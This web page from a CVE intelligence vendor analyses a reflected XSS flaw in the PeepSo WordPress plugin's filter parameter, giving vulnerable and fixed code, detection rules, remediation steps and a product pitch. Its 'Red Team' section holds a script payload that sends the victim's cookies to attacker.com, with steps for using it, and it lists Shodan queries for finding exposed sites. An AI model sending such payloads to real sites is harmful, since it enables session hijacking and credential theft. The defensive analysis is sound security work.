☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11447

CVE-2024-11447 Cross-Site Scripting in Peepso
📅 PUBLISHED: 2024-11-21 02:06 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.94%
👁️
0.94% probability
23.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11447 is a reflected Cross-Site Scripting (XSS) vulnerability in the Community by PeepSo WordPress plugin, affecting all versions up to and including 7.0.3.0. The flaw resides in the filter parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or user, executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, defacement, or credential theft.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem and must be addressed by updating the plugin or applying a virtual patch. No official patch has been confirmed at the time of analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the PeepSo WordPress plugin, distributed via the PeepSo.com marketplace. It is not an NPM, PyPI, Go, or Ruby package. However, administrators should verify the integrity of the plugin files and ensure they are obtained from the official vendor source.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for phishing campaigns make this a realistic threat.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the filter parameter of the PeepSo plugin. When a user visits a URL like:

https://example.com/?filter=<script>alert('XSS')</script>

The plugin processes the filter parameter and reflects it directly into the HTML response without proper sanitization or output escaping. The filter parameter is likely used to filter community content (e.g., posts, members) and is echoed back in the page’s JavaScript or HTML context.

Root Cause: The plugin uses $_GET['filter'] (or equivalent) and outputs it directly into the page without using WordPress’s esc_attr(), esc_html(), or wp_kses() functions. This allows an attacker to break out of the intended context and inject arbitrary HTML/JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?filter=<img src=x onerror=alert(document.cookie)>
  2. Attacker sends the link via email, social media, or other channels.
  3. Victim, logged into WordPress, clicks the link.
  4. The browser executes the injected script, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from PeepSo <= 7.0.3.0):

// In some template or function
$filter = $_GET['filter'];
echo '<div class="peepso-filter">' . $filter . '</div>';

Patched Code (expected fix):

$filter = isset($_GET['filter']) ? sanitize_text_field($_GET['filter']) : '';
echo '<div class="peepso-filter">' . esc_html($filter) . '</div>';

The patch must use esc_html() or esc_attr() depending on the context, and sanitize_text_field() to strip malicious input.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress instance with PeepSo plugin version <= 7.0.3.0.
  • A victim user with any role (admin or subscriber).

Exploit Payload:

https://victim-site.com/?filter=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

  1. Host a listener on attacker.com to capture cookies.
  2. Send the crafted link to the victim.
  3. When the victim clicks, the script executes and sends the cookie to the attacker.

Note: No public exploit code is available, but the above is a standard reflected XSS payload.

Blue Team (Defense & Detection)

Detection:

  • Monitor web server logs for requests containing filter= followed by <script>, <img, or other HTML tags.
  • Use WAF rules to block requests with suspicious filter parameter values.

Honeypot:

  • Deploy a decoy WordPress site with PeepSo and monitor for filter parameter abuse.

Indicators of Compromise (IOCs)

  • URL Pattern: ?filter=<script>... or ?filter=<img...
  • HTTP Request: GET requests to any WordPress page with a filter parameter containing HTML/JavaScript.
  • Log Entry: GET /?filter=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.

Detection Engineering

YARA Rule

rule CVE_2024_11447_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against PeepSo filter parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11447"
    strings:
        $filter_param = "filter=" nocase
        $xss_payload_1 = /<script[^>]*>/i
        $xss_payload_2 = /<img[^>]+onerror/i
        $xss_payload_3 = /<svg[^>]+onload/i
    condition:
        $filter_param and any of ($xss_payload_*)
}

Sigma Rule

title: Reflected XSS via PeepSo filter Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the PeepSo WordPress plugin filter parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 'filter='
        cs-uri-query|re: '(<script|<img|<svg|<iframe)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in filter parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11447 PeepSo Reflected XSS Attempt"; flow:to_server; content:"filter="; nocase; pcre:"/(<script|<img|<svg|<iframe)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Plugin: Check PeepSo.com for a patched version (expected > 7.0.3.0). If unavailable, disable the plugin until a fix is released.
  2. Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing filter= with HTML/JavaScript patterns.
  3. Input Validation: Implement server-side validation to reject non-alphanumeric characters in the filter parameter.

Long-Term:

  • Enforce output escaping in all plugin templates.
  • Conduct a security audit of the PeepSo plugin codebase.
  • Educate users about phishing links.

Workaround:

  • Add the following to .htaccess (Apache) to block malicious filter requests:
RewriteCond %{QUERY_STRING} filter=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} filter=.*<img [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PeepSo"
http.html:"peepso"
wp-content/plugins/peepso-core/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11447/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.